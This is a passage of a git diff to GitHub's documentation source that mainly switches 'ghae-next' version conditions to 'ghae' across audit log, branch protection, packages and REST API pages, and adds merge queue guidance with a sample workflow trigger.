organization](/rest/reference/actions#remove-a-self-hosted-runner-from-a-group-for-an-organization)." -| `runner_group_runners_updated`| Triggered when a runner group's list of members is updated. For more information, see "[Set self-hosted runners in a group for an organization](/rest/reference/actions#set-self-hosted-runners-in-a-group-for-an-organization)."{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} +| `runner_group_runners_updated`| Triggered when a runner group's list of members is updated. For more information, see "[Set self-hosted runners in a group for an organization](/rest/reference/actions#set-self-hosted-runners-in-a-group-for-an-organization)."{% ifversion fpt or ghes > 3.1 or ghae or ghec %} | `self_hosted_runner_online` | Triggered when the runner application is started. Can only be viewed using the REST API; not visible in the UI or JSON/CSV export. For more information, see "[Checking the status of a self-hosted runner](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)." | `self_hosted_runner_offline` | Triggered when the runner application is stopped. Can only be viewed using the REST API; not visible in the UI or JSON/CSV export. For more information, see "[Checking the status of a self-hosted runner](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)."{% endif %}{% ifversion fpt or ghes or ghec %} | `self_hosted_runner_updated` | Triggered when the runner application is updated. Can be viewed using the REST API and the UI; not visible in the JSON/CSV export. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners#about-self-hosted-runners)."{% endif %}{% ifversion fpt or ghec %} @@ -546,7 +546,7 @@ For more information, see "[Managing the publication of {% data variables.produc | `update_linear_history_requirement_enforcement_level ` | Triggered when required linear commit history is enabled or disabled for a protected branch. {% endif %} -{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} +{% ifversion fpt or ghes > 3.1 or ghae or ghec %} ### `pull_request` category actions @@ -587,7 +587,7 @@ For more information, see "[Managing the publication of {% data variables.produc | `access` | Triggered when a user [changes the visibility](/github/administering-a-repository/setting-repository-visibility) of a repository in the organization. | `actions_enabled` | Triggered when {% data variables.product.prodname_actions %} is enabled for a repository. Can be viewed using the UI. This event is not included when you access the audit log using the REST API. For more information, see "[Using the REST API](#using-the-rest-api)." | `add_member` | Triggered when a user accepts an [invitation to have collaboration access to a repository](/articles/inviting-collaborators-to-a-personal-repository). -| `add_topic` | Triggered when a repository admin [adds a topic](/articles/classifying-your-repository-with-topics) to a repository.{% ifversion fpt or ghes > 3.0 or ghae-next or ghec %} +| `add_topic` | Triggered when a repository admin [adds a topic](/articles/classifying-your-repository-with-topics) to a repository.{% ifversion fpt or ghes > 3.0 or ghae or ghec %} | `advanced_security_disabled` | Triggered when a repository administrator disables {% data variables.product.prodname_GH_advanced_security %} features for the repository. For more information, see "[Managing security and analysis settings for your repository](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository)." | `advanced_security_enabled` | Triggered when a repository administrator enables {% data variables.product.prodname_GH_advanced_security %} features for the repository. For more information, see "[Managing security and analysis settings for your repository](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository).".{% endif %} | `archived` | Triggered when a repository admin [archives a repository](/articles/about-archiving-repositories).{% ifversion ghes %} @@ -605,7 +605,7 @@ For more information, see "[Managing the publication of {% data variables.produc | `register_self_hosted_runner` | Triggered when a new self-hosted runner is registered. For more information, see "[Adding a self-hosted runner to a repository](/actions/hosting-your-own-runners/adding-self-hosted-runners#adding-a-self-hosted-runner-to-a-repository)." | `remove_self_hosted_runner` | Triggered when a self-hosted runner is removed. For more information, see "[Removing a runner from a repository](/actions/hosting-your-own-runners/removing-self-hosted-runners#removing-a-runner-from-a-repository)." | `remove_topic` | Triggered when a repository admin removes a topic from a repository. -| `rename` | Triggered when [a repository is renamed](/articles/renaming-a-repository).{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} +| `rename` | Triggered when [a repository is renamed](/articles/renaming-a-repository).{% ifversion fpt or ghes > 3.1 or ghae or ghec %} | `self_hosted_runner_online` | Triggered when the runner application is started. Can only be viewed using the REST API; not visible in the UI or JSON/CSV export. For more information, see "[Checking the status of a self-hosted runner](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)." | `self_hosted_runner_offline` | Triggered when the runner application is stopped. Can only be viewed using the REST API; not visible in the UI or JSON/CSV export. For more information, see "[Checking the status of a self-hosted runner](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)."{% endif %}{% ifversion fpt or ghes or ghec %} | `self_hosted_runner_updated` | Triggered when the runner application is updated. Can be viewed using the REST API and the UI; not visible in the JSON/CSV export. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners#about-self-hosted-runners)."{% endif %}{% ifversion fpt or ghec %} @@ -744,7 +744,7 @@ For more information, see "[Managing the publication of {% data variables.produc | `disable` | Triggered when an organization owner disables team discussions for an organization. For more information, see "[Disabling team discussions for your organization](/articles/disabling-team-discussions-for-your-organization)." | `enable` | Triggered when an organization owner enables team discussions for an organization. -{% ifversion fpt or ghec or ghes > 3.1 or ghae-next %} +{% ifversion fpt or ghec or ghes > 3.1 or ghae %} ### `workflows` category actions {% data reusables.actions.actions-audit-events-workflow %} @@ -752,4 +752,4 @@ For more information, see "[Managing the publication of {% data variables.produc ## Further reading - "[Keeping your organization secure](/articles/keeping-your-organization-secure)"{% ifversion fpt or ghec or ghes > 3.3 or ghae-issue-5146 %} -- "[Exporting member information for your organization](/organizations/managing-membership-in-your-organization/exporting-member-information-for-your-organization)"{% endif %} \ No newline at end of file +- "[Exporting member information for your organization](/organizations/managing-membership-in-your-organization/exporting-member-information-for-your-organization)"{% endif %} diff --git a/content/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization.md b/content/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization.md index 22b6b0342e..87dda915f4 100644 --- a/content/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization.md +++ b/content/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization.md @@ -121,7 +121,7 @@ Some of the features listed below are limited to organizations using {% data var | Make a repository a template (see "[Creating a template repository](/articles/creating-a-template-repository)") | | | | | **X** | | Change a repository's settings | | | | | **X** | | Manage team and collaborator access to the repository | | | | | **X** | -| Edit the repository's default branch | | | | | **X** |{% ifversion fpt or ghes > 3.0 or ghae-next or ghec %} +| Edit the repository's default branch | | | | | **X** |{% ifversion fpt or ghes > 3.0 or ghae or ghec %} | Rename the repository's default branch (see "[Renaming a branch](/github/administering-a-repository/renaming-a-branch)") | | | | | **X** | | Rename a branch other than the repository's default branch (see "[Renaming a branch](/github/administering-a-repository/renaming-a-branch)") | | | **X** | **X** | **X** |{% endif %} | Manage webhooks and deploy keys | | | | | **X** |{% ifversion fpt or ghec %} @@ -165,7 +165,7 @@ In this section, you can find the access required for security features, such as | [Resolve, revoke, or re-open {% data variables.product.prodname_secret_scanning %} alerts](/github/administering-a-repository/managing-alerts-from-secret-scanning) | | | | | **X** |{% endif %}{% ifversion fpt or ghes or ghae-issue-4864 or ghec %} | [Designate additional people or teams to receive {% data variables.product.prodname_secret_scanning %} alerts](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository#granting-access-to-security-alerts) in repositories | | | | | **X** |{% endif %} -{% ifversion fpt or ghes > 3.0 or ghae-next or ghec %} +{% ifversion fpt or ghes > 3.0 or ghae or ghec %} [1] Repository writers and maintainers can only see alert information for their own commits. {% endif %} diff --git a/content/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization.md b/content/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization.md index 4b2252d181..753c2e3f39 100644 --- a/content/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization.md +++ b/content/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization.md @@ -87,7 +87,7 @@ You can configure this behavior for an organization using the procedure below. M {% data reusables.github-actions.private-repository-forks-configure %} {% endif %} -{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} +{% ifversion fpt or ghes > 3.1 or ghae or ghec %} ## Setting the permissions of the `GITHUB_TOKEN` for your organization {% data reusables.github-actions.workflow-permissions-intro %} diff --git a/content/packages/managing-github-packages-using-github-actions-workflows/publishing-and-installing-a-package-with-github-actions.md b/content/packages/managing-github-packages-using-github-actions-workflows/publishing-and-installing-a-package-with-github-actions.md index aded45e897..f33c0fa3a5 100644 --- a/content/packages/managing-github-packages-using-github-actions-workflows/publishing-and-installing-a-package-with-github-actions.md +++ b/content/packages/managing-github-packages-using-github-actions-workflows/publishing-and-installing-a-package-with-github-actions.md @@ -16,7 +16,6 @@ shortTitle: Publish & install with Actions {% data reusables.package_registry.packages-ghes-release-stage %} {% data reusables.package_registry.packages-ghae-release-stage %} -{% data reusables.actions.ae-beta %} ## About {% data variables.product.prodname_registry %} with {% data variables.product.prodname_actions %} @@ -33,7 +32,7 @@ You can extend the CI and CD capabilities of your repository by publishing or in ### Authenticating to package registries on {% data variables.product.prodname_dotcom %} -{% ifversion fpt or ghec %}If you want your workflow to authenticate to {% data variables.product.prodname_registry %} to access a package registry other than the {% data variables.product.prodname_container_registry %} on {% data variables.product.product_location %}, then{% else %}To authenticate to package registries on {% data variables.product.product_name %},{% endif %} we recommend using the `GITHUB_TOKEN` that {% data variables.product.product_name %} automatically creates for your repository when you enable {% data variables.product.prodname_actions %} instead of a personal access token for authentication. {% ifversion fpt or ghes > 3.1 or ghae-next or ghec %}You should set the permissions for this access token in the workflow file to grant read access for the `contents` scope and write access for the `packages` scope. {% else %}It has read and write permissions for packages in the repository where the workflow runs. {% endif %}For forks, the `GITHUB_TOKEN` is granted read access for the parent repository. For more information, see "[Authenticating with the GITHUB_TOKEN](/actions/configuring-and-managing-workflows/authenticating-with-the-github_token)." +{% ifversion fpt or ghec %}If you want your workflow to authenticate to {% data variables.product.prodname_registry %} to access a package registry other than the {% data variables.product.prodname_container_registry %} on {% data variables.product.product_location %}, then{% else %}To authenticate to package registries on {% data variables.product.product_name %},{% endif %} we recommend using the `GITHUB_TOKEN` that {% data variables.product.product_name %} automatically creates for your repository when you enable {% data variables.product.prodname_actions %} instead of a personal access token for authentication. {% ifversion fpt or ghes > 3.1 or ghae or ghec %}You should set the permissions for this access token in the workflow file to grant read access for the `contents` scope and write access for the `packages` scope. {% else %}It has read and write permissions for packages in the repository where the workflow runs. {% endif %}For forks, the `GITHUB_TOKEN` is granted read access for the parent repository. For more information, see "[Authenticating with the GITHUB_TOKEN](/actions/configuring-and-managing-workflows/authenticating-with-the-github_token)." You can reference the `GITHUB_TOKEN` in your workflow file using the {% raw %}`{{secrets.GITHUB_TOKEN}}`{% endraw %} context. For more information, see "[Authenticating with the GITHUB_TOKEN](/actions/automating-your-workflow-with-github-actions/authenticating-with-the-github_token)." @@ -139,7 +138,7 @@ jobs: build-and-push-image: runs-on: ubuntu-latest - needs: run-npm-test {% ifversion ghes > 3.1 or ghae-next %} + needs: run-npm-test {% ifversion ghes > 3.1 or ghae %} permissions: contents: read packages: write {% endif %} @@ -289,7 +288,7 @@ build-and-push-image: {% endif %} -{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} +{% ifversion fpt or ghes > 3.1 or ghae or ghec %} {% raw %} @@ -533,7 +532,7 @@ jobs: # Push image to GitHub Packages. # See also https://docs.docker.com/docker-hub/builds/ push: - runs-on: ubuntu-latest{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} + runs-on: ubuntu-latest{% ifversion fpt or ghes > 3.1 or ghae or ghec %} permissions: packages: write contents: read{% endif %} diff --git a/content/packages/quickstart.md b/content/packages/quickstart.md index 6a158eb85f..7896aa0be5 100644 --- a/content/packages/quickstart.md +++ b/content/packages/quickstart.md @@ -11,7 +11,6 @@ shortTitle: Quickstart --- {% data reusables.actions.enterprise-github-hosted-runners %} -{% data reusables.actions.ae-beta %} ## Introduction @@ -71,7 +70,7 @@ In this guide, you'll create a {% data variables.product.prodname_actions %} wor publish-gpr: needs: build - runs-on: ubuntu-latest{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} + runs-on: ubuntu-latest{% ifversion fpt or ghes > 3.1 or ghae or ghec %} permissions: packages: write contents: read{% endif %} diff --git a/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/automatically-merging-a-pull-request.md b/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/automatically-merging-a-pull-request.md index 0a76534207..36d4f570c7 100644 --- a/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/automatically-merging-a-pull-request.md +++ b/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/automatically-merging-a-pull-request.md @@ -13,14 +13,13 @@ redirect_from: - /github/collaborating-with-issues-and-pull-requests/incorporating-changes-from-a-pull-request/automatically-merging-a-pull-request - /github/collaborating-with-issues-and-pull-requests/automatically-merging-a-pull-request - /github/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/automatically-merging-a-pull-request - shortTitle: Merge PR automatically --- ## About auto-merge If you enable auto-merge for a pull request, the pull request will merge automatically when all required reviews are met and status checks have passed. Auto-merge prevents you from waiting around for requirements to be met, so you can move on to other tasks. -Before you can use auto-merge with a pull request, auto-merge must be enabled for the repository. For more information, see "[Managing auto-merge for pull requests in your repository](/github/administering-a-repository/managing-auto-merge-for-pull-requests-in-your-repository)."{% ifversion fpt or ghae-next or ghes > 3.1 or ghec %} +Before you can use auto-merge with a pull request, auto-merge must be enabled for the repository. For more information, see "[Managing auto-merge for pull requests in your repository](/github/administering-a-repository/managing-auto-merge-for-pull-requests-in-your-repository)."{% ifversion fpt or ghae or ghes > 3.1 or ghec %} After you enable auto-merge for a pull request, if someone who does not have write permissions to the repository pushes new changes to the head branch or switches the base branch of the pull request, auto-merge will be disabled. For example, if a maintainer enables auto-merge for a pull request from a fork, auto-merge will be disabled after a contributor pushes new changes to the pull request.{% endif %} diff --git a/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-proposed-changes-in-a-pull-request.md b/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-proposed-changes-in-a-pull-request.md index 8a89ae3bb8..8babad4362 100644 --- a/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-proposed-changes-in-a-pull-request.md +++ b/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-proposed-changes-in-a-pull-request.md @@ -30,7 +30,7 @@ You can review changes in a pull request one file at a time. While reviewing the {% data reusables.repositories.sidebar-pr %} {% data reusables.repositories.choose-pr-review %} {% data reusables.repositories.changed-files %} -{% ifversion fpt or ghec or ghes > 3.2 or ghae-next %} +{% ifversion fpt or ghec or ghes > 3.2 or ghae %} You can change the format of the diff view in this tab by clicking {% octicon "gear" aria-label="The Settings gear" %} and choosing the unified or split view. The choice you make will apply when you view the diff for other pull requests. diff --git a/content/pull-requests/collaborating-with-pull-requests/working-with-forks/syncing-a-fork.md b/content/pull-requests/collaborating-with-pull-requests/working-with-forks/syncing-a-fork.md index 8d9cfd5548..586100d514 100644 --- a/content/pull-requests/collaborating-with-pull-requests/working-with-forks/syncing-a-fork.md +++ b/content/pull-requests/collaborating-with-pull-requests/working-with-forks/syncing-a-fork.md @@ -15,7 +15,7 @@ topics: - Pull requests --- -{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} +{% ifversion fpt or ghes > 3.1 or ghae or ghec %} ## Syncing a fork from the web UI diff --git a/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/managing-auto-merge-for-pull-requests-in-your-repository.md b/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/managing-auto-merge-for-pull-requests-in-your-repository.md index 371252c242..1b863c2771 100644 --- a/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/managing-auto-merge-for-pull-requests-in-your-repository.md +++ b/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/managing-auto-merge-for-pull-requests-in-your-repository.md @@ -17,7 +17,7 @@ shortTitle: Manage auto merge --- ## About auto-merge -If you allow auto-merge for pull requests in your repository, people with write permissions can configure individual pull requests in the repository to merge automatically when all merge requirements are met. {% ifversion fpt or ghae-next or ghes > 3.1 or ghec %}If someone who does not have write permissions pushes changes to a pull request that has auto-merge enabled, auto-merge will be disabled for that pull request. {% endif %}For more information, see "[Automatically merging a pull request](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/automatically-merging-a-pull-request)." +If you allow auto-merge for pull requests in your repository, people with write permissions can configure individual pull requests in the repository to merge automatically when all merge requirements are met. {% ifversion fpt or ghae or ghes > 3.1 or ghec %}If someone who does not have write permissions pushes changes to a pull request that has auto-merge enabled, auto-merge will be disabled for that pull request. {% endif %}For more information, see "[Automatically merging a pull request](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/automatically-merging-a-pull-request)." ## Managing auto-merge diff --git a/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/using-a-merge-queue.md b/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/using-a-merge-queue.md index 9d1c5e6711..6f1a34c11c 100644 --- a/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/using-a-merge-queue.md +++ b/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/using-a-merge-queue.md @@ -16,8 +16,32 @@ shortTitle: Use merge queue ## About pull request merge queue {% data reusables.pull_requests.merge-queue-overview %} -{% data reusables.pull_requests.merge-queue-reject %} +The merge queue creates temporary preparatory branches to validate pull requests against the latest version of the base branch. To ensure that {% data variables.product.prodname_dotcom %} validates these preparatory branches, you may need to update your CI configuration to trigger builds on branch names starting with `gh/readonly/queue/{base_branch}`. + +For example, with {% data variables.product.prodname_actions %}, adding the following trigger to a workflow will cause the workflow to run when any push is made to a merge queue preparatory branch that targets `main`. + +``` +on: + push: + branches: + - gh/readonly/queue/main/** +``` + +{% data reusables.pull_requests.merge-queue-merging-method %} + +For information about merge methods, see "[About pull request merges](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges)." For information about the "Require linear history" branch protection setting, see "[About protected branches](/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches#require-linear-history)." + +{% note %} + +**Note:** During the beta, there are some limitations when using the merge queue: + +* The merge queue cannot be enabled on branch protection rules using wildcards (`*`) in the name. +* There is no support for squash merge commits. (Only merge commits and "rebase and merge" commits are supported.) + +{% endnote %} + +{% data reusables.pull_requests.merge-queue-reject %} ## Managing pull request merge queue Repository administrators can configure merge queues for pull requests targeting selected branches of a repository. The requirement to use a merge queue is a branch protection setting called "Require merge queue" that can be enabled in branch protection rules. diff --git a/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches.md b/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches.md index c4be3a9f2a..2d760fe6f2 100644 --- a/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches.md +++ b/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches.md @@ -42,7 +42,7 @@ By default, the restrictions of a branch protection rule don't apply to people w For each branch protection rule, you can choose to enable or disable the following settings. - [Require pull request reviews before merging](#require-pull-request-reviews-before-merging) - [Require status checks before merging](#require-status-checks-before-merging) -{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} +{% ifversion fpt or ghes > 3.1 or ghae or ghec %} - [Require conversation resolution before merging](#require-conversation-resolution-before-merging){% endif %} - [Require signed commits](#require-signed-commits) - [Require linear history](#require-linear-history) @@ -99,7 +99,7 @@ You can set up required status checks to either be "loose" or "strict." The type For troubleshooting information, see "[Troubleshooting required status checks](/github/administering-a-repository/troubleshooting-required-status-checks)." -{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} +{% ifversion fpt or ghes > 3.1 or ghae or ghec %} ### Require conversation resolution before merging Requires all comments on the pull request to be resolved before it can be merged to a protected branch. This ensures that all comments are addressed or acknowledged before merge. @@ -138,6 +138,8 @@ Before you can require a linear commit history, your repository must allow squas {% data reusables.pull_requests.merge-queue-beta %} {% data reusables.pull_requests.merge-queue-overview %} + +{% data reusables.pull_requests.merge-queue-merging-method %} {% data reusables.pull_requests.merge-queue-references %} {% endif %} diff --git a/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/managing-a-branch-protection-rule.md b/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/managing-a-branch-protection-rule.md index 1ac3ee3211..fe9eb1dd68 100644 --- a/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/managing-a-branch-protection-rule.md +++ b/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/managing-a-branch-protection-rule.md @@ -80,7 +80,7 @@ When you create a branch rule, the branch you specify doesn't have to exist yet ![Loose or strict required status checkbox](/assets/images/help/repository/protecting-branch-loose-status.png) - Search for status checks, selecting the checks you want to require. ![Search interface for available status checks, with list of required checks](/assets/images/help/repository/required-statuses-list.png) -{%- ifversion fpt or ghes > 3.1 or ghae-next %} +{%- ifversion fpt or ghes > 3.1 or ghae %} 1. Optionally, select **Require conversation resolution before merging**. ![Require conversation resolution before merging option](/assets/images/help/repository/require-conversation-resolution.png) {%- endif %} diff --git a/content/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/changing-the-default-branch.md b/content/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/changing-the-default-branch.md index e7ed730c63..d82c43712f 100644 --- a/content/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/changing-the-default-branch.md +++ b/content/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/changing-the-default-branch.md @@ -28,7 +28,7 @@ You can choose the default branch for a repository. The default branch is the ba {% endnote %} {% endif %} -{% ifversion fpt or ghes > 3.0 or ghae-next or ghec %} +{% ifversion fpt or ghes > 3.0 or ghae or ghec %} You can also rename the default branch. For more information, see "[Renaming a branch](/github/administering-a-repository/renaming-a-branch)." diff --git a/content/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/renaming-a-branch.md b/content/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/renaming-a-branch.md index e5683513b9..820352f6af 100644 --- a/content/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/renaming-a-branch.md +++ b/content/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/renaming-a-branch.md @@ -5,7 +5,7 @@ permissions: People with write permissions to a repository can rename a branch i versions: fpt: '*' ghes: '>=3.1' - ghae: next + ghae: '*' ghec: '*' topics: - Repositories diff --git a/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-readmes.md b/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-readmes.md index 970ef6ff72..a6ad2effcd 100644 --- a/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-readmes.md +++ b/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-readmes.md @@ -40,7 +40,7 @@ If you put your README file in your repository's root, `docs`, or hidden `.githu ![README file on your username/username repository](/assets/images/help/repository/username-repo-with-readme.png) -{% ifversion fpt or ghae-next or ghes > 3.1 or ghec %} +{% ifversion fpt or ghae or ghes > 3.1 or ghec %} ## Auto-generated table of contents for README files diff --git a/content/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository.md b/content/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository.md index cb0ef50a07..90bd18f498 100644 --- a/content/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository.md +++ b/content/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository.md @@ -90,7 +90,7 @@ You can configure this behavior for a repository using the procedure below. Modi {% data reusables.repositories.settings-sidebar-actions %} {% data reusables.github-actions.private-repository-forks-configure %} -{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} +{% ifversion fpt or ghes > 3.1 or ghae or ghec %} ## Setting the permissions of the `GITHUB_TOKEN` for your repository {% data reusables.github-actions.workflow-permissions-intro %} diff --git a/content/rest/guides/getting-started-with-the-rest-api.md b/content/rest/guides/getting-started-with-the-rest-api.md index 74ab5b1968..86d5220126 100644 --- a/content/rest/guides/getting-started-with-the-rest-api.md +++ b/content/rest/guides/getting-started-with-the-rest-api.md @@ -230,7 +230,7 @@ $ curl -i {% data variables.product.api_url_pre %}/repos/twbs/bootstrap In the same way, we can [view repositories for the authenticated user][user repos api]: ```shell -$ curl -i -H "Authorization: token {% ifversion fpt or ghes > 3.1 or ghae-next or ghec %}ghp_16C7e42F292c6912E7710c838347Ae178B4a{% else %}5199831f4dd3b79e7c5b7e0ebe75d67aa66e79d4{% endif %}" \ +$ curl -i -H "Authorization: token {% ifversion fpt or ghes > 3.1 or ghae or ghec %}ghp_16C7e42F292c6912E7710c838347Ae178B4a{% else %}5199831f4dd3b79e7c5b7e0ebe75d67aa66e79d4{% endif %}" \ {% data variables.product.api_url_pre %}/user/repos ``` @@ -274,7 +274,7 @@ Fetching information for existing repositories is a common use case, but the we need to `POST` some JSON containing the details and configuration options. ```shell -$ curl -i -H "Authorization: token {% ifversion fpt or ghes > 3.1 or ghae-next or ghec %}ghp_16C7e42F292c6912E7710c838347Ae178B4a{% else %}5199831f4dd3b79e7c5b7e0ebe75d67aa66e79d4{% endif %}" \ +$ curl -i -H "Authorization: token {% ifversion fpt or ghes > 3.1 or ghae or ghec %}ghp_16C7e42F292c6912E7710c838347Ae178B4a{% else %}5199831f4dd3b79e7c5b7e0ebe75d67aa66e79d4{% endif %}" \ -d '{ \ "name": "blog", \ "auto_init": true, \ @@ -320,7 +320,7 @@ Just like github.com, the API provides a few methods to view issues for the authenticated user. To [see all your issues][get issues api], call `GET /issues`: ```shell -$ curl -i -H "Authorization: token {% ifversion fpt or ghes > 3.1 or ghae-next or ghec %}ghp_16C7e42F292c6912E7710c838347Ae178B4a{% else %}5199831f4dd3b79e7c5b7e0ebe75d67aa66e79d4{% endif %}" \ +$ curl -i -H "Authorization: token {% ifversion fpt or ghes > 3.1 or ghae or ghec %}ghp_16C7e42F292c6912E7710c838347Ae178B4a{% else %}5199831f4dd3b79e7c5b7e0ebe75d67aa66e79d4{% endif %}" \ {% data variables.product.api_url_pre %}/issues ``` @@ -328,7 +328,7 @@ To get only the [issues under one of your {% data variables.product.product_name /orgs//issues`: ```shell -$ curl -i -H "Authorization: token {% ifversion fpt or ghes > 3.1 or ghae-next or ghec %}ghp_16C7e42F292c6912E7710c838347Ae178B4a{% else %}5199831f4dd3b79e7c5b7e0ebe75d67aa66e79d4{% endif %}" \ +$ curl -i -H "Authorization: token {% ifversion fpt or ghes > 3.1 or ghae or ghec %}ghp_16C7e42F292c6912E7710c838347Ae178B4a{% else %}5199831f4dd3b79e7c5b7e0ebe75d67aa66e79d4{% endif %}" \ {% data variables.product.api_url_pre %}/orgs/rails/issues ``` @@ -370,7 +370,7 @@ body to the `/issues` path underneath the repository in which we want to create the issue: ```shell -$ curl -i -H 'Authorization: token {% ifversion fpt or ghes > 3.1 or ghae-next or ghec %}ghp_16C7e42F292c6912E7710c838347Ae178B4a{% else %}5199831f4dd3b79e7c5b7e0ebe75d67aa66e79d4{% endif %}' \ +$ curl -i -H 'Authorization: token {% ifversion fpt or ghes > 3.1 or ghae or ghec %}ghp_16C7e42F292c6912E7710c838347Ae178B4a{% else %}5199831f4dd3b79e7c5b7e0ebe75d67aa66e79d4{% endif %}' \ $ -d '{ \ $ "title": "New logo", \ $ "body": "We should have one", \ diff --git a/content/rest/reference/actions.md b/content/rest/reference/actions.md index d18e1d43d1..f00f66a23b 100644 --- a/content/rest/reference/actions.md +++ b/content/rest/reference/actions.md @@ -13,7 +13,6 @@ topics: miniTocMaxHeadingLevel: 3 --- -{% data reusables.actions.ae-beta %} The {% data variables.product.prodname_actions %} API enables you to manage {% data variables.product.prodname_actions %} using the REST API. {% data reusables.actions.actions-authentication %} {% data variables.product.prodname_github_apps %} require the permissions mentioned in each endpoint. For more information, see "[{% data variables.product.prodname_actions %} Documentation](/actions)." @@ -34,7 +33,7 @@ The Artifacts API allows you to download, delete, and retrieve information about {% ifversion fpt or ghes > 2.22 or ghae or ghec %} ## Permissions -The Permissions API allows you to set permissions for what organizations and repositories are allowed to run {% data variables.product.prodname_actions %}, and what actions are allowed to run. For more information, see "[Usage limits, billing, and administration](/actions/reference/usage-limits-billing-and-administration#disabling-or-limiting-github-actions-for-your-repository-or-organization)." +The Permissions API allows you to set permissions for what organizations and repositories are allowed to run {% data variables.product.prodname_actions %}, and what actions are allowed to run.{% ifversion fpt or ghec or ghes %} For more information, see "[Usage limits, billing, and administration](/actions/reference/usage-limits-billing-and-administration#disabling-or-limiting-github-actions-for-your-repository-or-organization)."{% endif %} You can also set permissions for an enterprise. For more information, see the "[{% data variables.product.prodname_dotcom %} Enterprise administration](/rest/reference/enterprise-admin#github-actions)" REST API. diff --git a/content/rest/reference/enterprise-admin.md b/content/rest/reference/enterprise-admin.md index d8512c1e8d..099cfa9e8b 100644 --- a/content/rest/reference/enterprise-admin.md +++ b/content/rest/reference/enterprise-admin.md @@ -85,7 +85,6 @@ You can also read the current version by calling the [meta endpoint](/rest/refer ## GitHub Actions -{% data 